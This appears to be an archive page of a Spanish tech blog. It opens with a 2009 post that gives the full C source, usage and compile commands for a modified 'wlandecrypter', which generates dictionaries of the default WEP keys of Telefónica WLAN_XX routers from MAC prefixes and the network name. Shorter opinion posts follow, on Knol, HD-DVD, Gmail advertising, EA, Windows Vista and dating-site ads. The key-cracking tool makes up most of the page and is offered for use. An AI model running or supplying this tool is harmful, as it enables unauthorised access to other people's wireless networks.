Archivo

Archivo de la categoría ‘General’

Modificando wlandecrypter

25 de Octubre de 2009

Cuelgo en el blog una modificación del pequeño programa “wlandecrypter” que genera un diccionario con las posibles claves de los diferentes routers de Timofónica.
Este comprueba por mac, como el original, si esta existe (está reconocida como una de las mac que utilizan los routers de la compañía) pero a diferencia del antiguo, es que si esta no existe también te da la posibilidad, previo aviso, de poder generar un diccionario con esos valores (más que nada por si se van añadiendo nuevas marcas o nuevas mac, y estas no han sido añadidas ya en la base del programa).
La forma de lanzarlo también cambia. Con la modificación en vez de tener que escribir todo el BSSID y todo el ESSID, solo se ingresarán las partes importantes, es decir, los primeros seis caracteres de la mac y los dos últimos del ESSID.
Ejemplo, si quieres generar un diccionario para la red con las siguientes características:
BSSID : 00:13:49:E8:29:7B
ESSID: WLAN_32
El programa se lanzará:

$ m0dWlandecrypter 001349 32 diccionario

NOTA: No comprobará si los 6 primeros caracteres pertenecientes al bssid son  hexadecimales (ya lo implemento uno de estos días).

Dejo el código en cuestión:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
/*****************************************************************************
* Fichero:                      m0dWlandecrypter.c
* Fecha:                        22-09-2009
* Autor:                        aabilio (aabilio[at]gmail[dot]com)
* 
* Es una pequeña modificación del wlandecrypter de Nilp0inteR
* 
* Este programa es software libre; puedes redistribuirlo y/o modificarlo
* bajo los terminos de la Licencia Publica General GNU (GPL) publicada
* por la Free Software Foundation; en su version numero 2, o (bajo tu 
* criterio) la ultima version. Mira http://www.fsf.org/copyleft/gpl.txt.
* 
* Este programa se distribuye SIN GARANTIA de ningun tipo.
*****************************************************************************/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
 
#define MAXROUTER 13
#define ULTIMO 12
 
/* Estructura Router */
typedef struct __Router {
    char bssid[7];
    char init;
    char info[20];
} _Router;
 
/* Variable global */
char hex[16]="0123456789ABCDEF";
 
/* Prototipos */
void datosRouters(_Router routers[MAXROUTER]);
void muestraAyuda();
int buscaBssid(_Router routers[MAXROUTER], char *bssid);
void imprimeClaves(FILE *fichero, _Router routers[MAXROUTER], 
                    int bssidId, char *keyEnd, char *);
void bucleImprimeClaves(FILE *fichero, char , int bssidId, char *keyEnd, char *);
 
/* MAIN */
int main(int argc, char *argv[]) {
 
        int i, bssidId, validHex=0;
        char opcion;
        char endKey[2];
        _Router routers[MAXROUTER];
        FILE *fichero;
 
        fprintf(stdout, "\n====================================\n");
        fprintf(stdout, "m0dWlandecrypter - aabilio@gmail.com\n");
        fprintf(stdout, "====================================\n");
 
        if(argc<3 || argc>4) {
            muestraAyuda();
            return 1;
        }
 
        if(strlen(argv[1]) != 6 ) {
            fprintf(stderr," [-] Longitud de BSSID invalida\n");
            muestraAyuda();
            return 1;
        }
        if(strlen(argv[2]) != 2 ) {
            fprintf(stderr," [-] Longitud de ESSID invalida\n");
            muestraAyuda();
            return 1;
        }
 
        datosRouters(routers);
        bssidId=buscaBssid(routers, argv[1]);
 
        fprintf(stderr, " [+] BSSID: %s\n" 
                        " [+] Modelo: %s\n", argv[1], routers[bssidId].info);
        if(bssidId==ULTIMO) {
            strcpy(routers[ULTIMO].bssid, argv[1]);
            routers[ULTIMO].init = 'Z';
            fprintf(stderr, "   |__>> [?] Puede que no genere un buen diccionario\n");
            do {
                fprintf(stderr, "          Continuar de todas formas?? (s/n) : ");
                opcion = getchar(); getchar();
                //scanf("%c", &opcion);
                opcion = toupper(opcion);
                if (opcion == 'N')
                    return 1;
                else if (opcion == 'S')
                    break;
            } while (1);
 
        }
 
        for(i=0;i<strlen(argv[2]);i++)
            argv[2][i]=toupper(argv[2][i]);
 
        if(strlen(argv[2]) != 2 ) {
            fprintf(stderr, " [-] ESSID: %s invalido!!\n", argv[2]);
            return 1;
        } else {
            for(i=0;i<strlen(hex);i++) {
                if(argv[2][0]==hex[i]) {
                    validHex++;
                    break;
                }
            }
            for(i=0;i<strlen(hex);i++) {
                if(argv[2][1]==hex[i]) {
                    validHex++;
                    break;
                }
            }
 
            if(validHex!=2) {
                fprintf(stderr, " [-] ESSID: %s invalido!!\n", argv[2]);
                return 1;
            }
            else {
                endKey[0]=argv[2][0];
                endKey[1]=argv[2][1];
 
                fprintf(stderr," [+] ESSID: %s\n", argv[2]);
 
                if(argc>3) {// Fichero
                    fprintf(stderr," [+] Fichero de claves: %s\n", argv[3]);
                    if ((fichero=fopen(argv[3], "a+")) == NULL) {
                       fprintf(stderr, " [-] Fallo al escribir en el fichero\n");
                       return 1;
                    }
 
                    imprimeClaves(fichero,routers,bssidId,endKey, argv[1]);
                    fclose(fichero);
                    fprintf(stderr, " [+] Fichero guardado\n");
                } else {
                    fprintf(stderr," [+] Seleccionada salida estandar\n");
                    imprimeClaves(stdout,routers,bssidId,endKey, argv[1]);
                }
            }
        }
        puts("");
        return 0;
}       
 
/* AYUDA */
void muestraAyuda() {
    fprintf(stderr, "\nuso: aawlandecrypter <bssid> <essid> [output file]\n"
                    "  |__<bssid> : Solo los 6 primeros caracteres del mismo sin contar ':'\n"
                    "  |__<essid> : Solo los XX de WLAN_XX\n"
                    "  |__[output file] : Archivo resultante\n\n"
                    "   Ejemplo: aawlandecrypter 001349 55 diccionario\n\n");
}
 
/* Imprime claves */
void imprimeClaves(FILE *fichero, _Router routers[MAXROUTER], 
                    int bssidId, char *keyEnd, char *bssid) {
    //int i,j,k,l;
 
    if(bssidId==ULTIMO){
        routers[bssidId].init = 'Z';
        bucleImprimeClaves(fichero,routers[bssidId].init,bssidId,keyEnd,bssid);
        routers[bssidId].init = 'X';
        bucleImprimeClaves(fichero,routers[bssidId].init,bssidId,keyEnd,bssid);
        routers[bssidId].init = 'C';
        bucleImprimeClaves(fichero,routers[bssidId].init,bssidId,keyEnd,bssid);
    } else {
        bucleImprimeClaves(fichero,routers[bssidId].init,bssidId,keyEnd,bssid);
    }
}
/* El bucle que imprime la clave */
void bucleImprimeClaves(FILE *fichero, char init, 
                        int bssidId, char *keyEnd, char *bssid) {
    int i,j,k,l;
 
    for(i=0;i<16;i++)
        for(j=0;j<16;j++)
            for(k=0;k<16;k++)
                for(l=0;l<16;l++) {
                    fprintf(fichero, "%c%s%c%c%c%c%c%c\n"
                            , init, bssid, hex[i],hex[j],hex[k],hex[l], 
                            keyEnd[0],keyEnd[1]);
                }
}
 
/* Datos de los routers: */
void datosRouters(_Router routers[MAXROUTER]) {
        int i =0;
        // Z-com
        strcpy(routers[i].bssid,"0060B3\0");
        routers[i].init = 'Z';
        strcpy(routers[i].info,"Z-com\0");
        i++;
        // Zyxel : Gracias a thefkboss de foro.elhacker.net por esta observacion
        strcpy(routers[i].bssid,"00A0C5\0"); 
        routers[i].init = 'Z';
        strcpy(routers[i].info,"Zyxel 650HW/660HW\0");
        i++;
        // P-660HW-D1
        strcpy(routers[i].bssid,"001349\0");
        routers[i].init = 'Z';
        strcpy(routers[i].info,"P-660HW-D1\0");
        i++;
        // Xavvy
        strcpy(routers[i].bssid,"000138\0");
        routers[i].init = 'X';
        strcpy(routers[i].info,"Xavi 7768r\0");
        i++;
        // Comtrend
        strcpy(routers[i].bssid,"0003C9\0");
        routers[i].init = 'C';
        strcpy(routers[i].info,"Comtrend 535\0");
        i++;
        // Comtrend NUEVO, gracias a dnreinad por el coche xD
        strcpy(routers[i].bssid,"001638\0");
        routers[i].init = 'C';
        strcpy(routers[i].info,"Comtrend 536+\0");
        i++;
        // Comtrend NUEVO
        strcpy(routers[i].bssid,"001915\0");
        routers[i].init = 'C';
        strcpy(routers[i].info,"Comtrend 536+\0");
        i++;
        // Comtrend NUEVO
        strcpy(routers[i].bssid,"0030DA\0");
        routers[i].init = 'C';
        strcpy(routers[i].info,"Comtrend 536+\0");
        i++;
        // Comtrend NUEVO
        strcpy(routers[i].bssid,"001A2B\0");
        routers[i].init = 'C';
        strcpy(routers[i].info,"Comtrend 536+\0");
        i++;
        // Comtrend NUEVO
        strcpy(routers[i].bssid,"001D20\0");
        routers[i].init = 'C';
        strcpy(routers[i].info,"Comtrend 536+\0");
        i++;
 
        // ZyGate
        strcpy(routers[i].bssid,"0002CF\0");
        routers[i].init = 'Z';
        strcpy(routers[i].info,"ZyGate\0");
        i++;
        // ZyGate
        strcpy(routers[i].bssid,"0019CB\0");
        routers[i].init = 'Z';
        strcpy(routers[i].info,"ZyGate\0");
        i++;
 
        strcpy(routers[ULTIMO].bssid,"000000\0");
        routers[ULTIMO].init = 'Z';
        strcpy(routers[ULTIMO].info,"Desconocido\0");
}
 
int buscaBssid(_Router routers[MAXROUTER], char *bssid) {
    int i;
 
    for(i=0;i<strlen(bssid);i++)
        bssid[i]=toupper(bssid[i]);
 
    for(i=0;i<MAXROUTER;i++) {
        if(strncmp ( routers[i].bssid, bssid, 6 ) == 0)
        return i;
    }
 
    return ULTIMO;
}

Para compilar en GNU/Linux:

$ gcc -o wlandecryter_mod m0dWlandecrypter.c

Enlace | m0dWlandecrypter.c para descargar

General, Internet, Software Libre, códigos, wifi, wireless

Google lanza Knol

24 de Julio de 2008

Hoy google ha lanzado Knol, una web similar a la wikipedia pero de google. De momento se encuentra en fase beta y de momento sólo está disponible en inglés y desde mi punto de vista, sus principales ventajas son a su vez sus principales desventajas.

Por un lado, Knol será mas cerrado que la wikipedia ya que solo podrán publicar y editar entradas los autores y colaboradores, no como en la wikipedia que podias hacerlo sin necesidad de estar registrado. Gracias a esto, se evitará que sea “vandalizado”, pero en cambio te obligarán a estar registrado en google (aunque imagino que la mayoría estará registrado en un servicio u otro de google).

Otra característica que puede ser buena o mala según se mire es la inclusión de adsense. Las ventajas son que si tu creas un artículo puedes poner tu código de adsense y de esa forma repartir beneficios con google. La mayor desventaja es para el que visita un artículo que tenga publicidad, aunque si está puesta de una forma discreta y solo con texto molestaría poco, pero si incluyen anuncios gráficos y de tal forma que el usuario pueda confundir el contenido con el anuncio será realmente molesto, aunque por suerte no suele ser el estilo de google.

Sin duda, Knol es un éxito asegurado, ya que una gran parte de los escritores de la wikipedia se pasarán a Knol para conseguir beneficios y sobre todo google podría manipular los resultados de la búsquedas para enviar tráfico a su web antes que a wikipedia, que vive principalmente de las búsquedas en google y de los enlaces en los blogs. Quizás sea un paso atrás ya que no me gusta que la misma empresa tenga control sobre la gran parte de internet, pero quizás la posibilidad de conseguir un beneficio económico anime a los usuarios a crear mas contenido.

De momento, entre Knol y Wikipedia me quedo con la Wikipedia pero posiblemente cuando Knol tenga varias entradas y esté en español cambie de opinión.

General, Google, Internet

Se acabó la guerra de formatos

17 de Febrero de 2008

 

306px-hd-dvdsvg.png

Parece que la guerra de formatos entre Blu-Ray y HD-DVD ha finalizado, y al final ha salido perdiendo el HD-DVD. Aún no es oficial, pero ya se rumorea que dentro de poco Toshiba anunciará su muerte.

Este formato no ha tenido mucho éxito especialmente (al menos en mi opinión) por la poca colaboración de Microsoft y su consola XBox 360. Si esta consola hubiera salido con HD-DVD incorporado habría en estos momentos muchos mas reproductores de HD-DVD que de Blu-Ray que en su mayoría son las PlayStation 3. Además, últimamente sus principales aliados, como el último caso de Wal-Mart, una de las mayores cadenas comerciales de Estados Unidos, que anunció que dejaría de vender en HD-DVD a partir de Junio o cuando Warner anunció en el CES que se pasaba a Blu-Ray. El HD-DVD quedará en el recuerdo, como pasó con beta.

Una pena que desaparezca una alternativa tan buena, pero sin duda, Sony es el justo vencedor.

Actualización (19/02/2008): Finalmente se ha hecho oficial mediante un comunicado de prensa.

General, hardware

¿Gmail es ilegal?

25 de Enero de 2008

 

gmail-logo.jpg

Simplemente me he quedado de piedra al leer la noticia en 20 minutos. Parece ser que a FACUA (supuesta organización que defiende a los consumidores) le pareció ilegal que Gmail usara las palabras claves de tus emails para mostrar publicidad en su interfaz. Para demostrarlo preguntaron a la Agencia de Protección de datos y ellos afirmaron que sí, que podría ser ilegal.

Según la directiva europea de privacidad de las telecomunicaciones y la Ley General de Telecomunicaciones de España, “únicamente se podrán filtrar las comunicaciones para prevención de virus y de spam”, afirma la AEPD, “con el fin de adoptar las medidas técnicas y de gestión adecuadas para preservar la seguridad de sus servicios”.

Me parece increíble que se pueda criticar la forma de conseguir la mayor rentabilidad posible. Hay que tener en cuenta que eso lo hace simplemente una máquina que no guarda ningún tipo de datos, aunque hay gente que todavía piensa que para mostrar la publicidad los responsables de Gmail se leen uno a uno todos los mensajes. La única forma de que haya personas que puedan ver nuestro correo sería accediendo a las bases de datos, cosa que también se podría hacer en yahoo o windows live hotmail, pero parece que solo van contra el que tiene la publicidad menos molesta. Gmail es gratuito, y si entras será de forma intencionada, por tanto ya sabes a lo que te arriesgas. Si quieres seguridad la única forma sería montarte tu propio servidor, que tampoco sería seguro al 100%, ya que se podría acceder de forma remota al servidor.

General, Google

EA dará un giro a la industria del videojuego

21 de Enero de 2008

 

ea.jpg

Parece ser que EA (Electronic Arts) se va dando cuenta de que el futuro no es sacar grandes juegos a precios elevados, si no que deberían de ser gratis para todo el público pero con extensiones de pago o con publicidad incluida. Y es que su próximo juego, Battlefield Heroes, será proporcionado de forma completamente gratuita, pero basándose en la publicidad, sector que hoy en día puede dar mas dinero que las propias ventas. Además, el juego Battlefield Heroes, no es el típico juego que lo ponen de prueba, si no que la saga battlefield  ya tuvo numerosos éxitos en versiones anteriores (battlefield 1942, battlefield 2142…). Sin duda es una muy buena iniciativa, ya solo falta que no pidan unos requisitos demasiado altos y al ser posible que estuviera disponible para todos los tipos de Sistemas Operativos que existen hoy en día, aunque eso imagino que llevará mas tiempo. Habrá que esperar para ver si las demás empresas reaccionan y hacen lo mismo y si además se extiende a las consolas.

Vía meneame | Fuente Abadía digital

General, Software Libre

Windows vista: ¿uno de los 10 peores productos tecnológicos?

27 de Noviembre de 2007

Según una lista de CNet, Windows Vista sería el décimo peor producto de toda la historia de la tecnología. Personalmente pienso que realmente ha sido un autentico fracaso, ya que no puedo entender como trabajando más de 3000 programadores (según Microsoft, pero creo que de esos 3000 solo trabajaban 100…) y con siete años de desarrollo, se haya creado un sistema operativo tan inestable y tan mal optimizado que solo se puede usar en ordenadores nuevos (con mas de dos años es dificil que funcione de una forma mediocre) y aun así con problemas de seguridad, posibilidad de bloqueo (por no hablar de pantallazos azules) y una gran lentitud en todas las tareas. Aquí os dejo el resto de la lista:

 Vía: ALT1040

General

Lo nuevo en publicidad de contactos en Internet (2ª parte)

4 de Septiembre de 2007

(Mini entrada)

Si hace un par de días comentaba la “supuesta” estrategia de las webs como AdultFriendFinder.com de poner en los contactos ciudades o puebles cercanos a la localización en la que te encuentras (mediante a la geolocalización ip como bien señalaron en algunos comentarios) “investigando” un poco más en el tema me encuentro hoy con esto:

contactos2

Estoy en Vigo y como podéis leer en los contactos aparecem chicas de Marín. Esto confirma lo absurdo.

General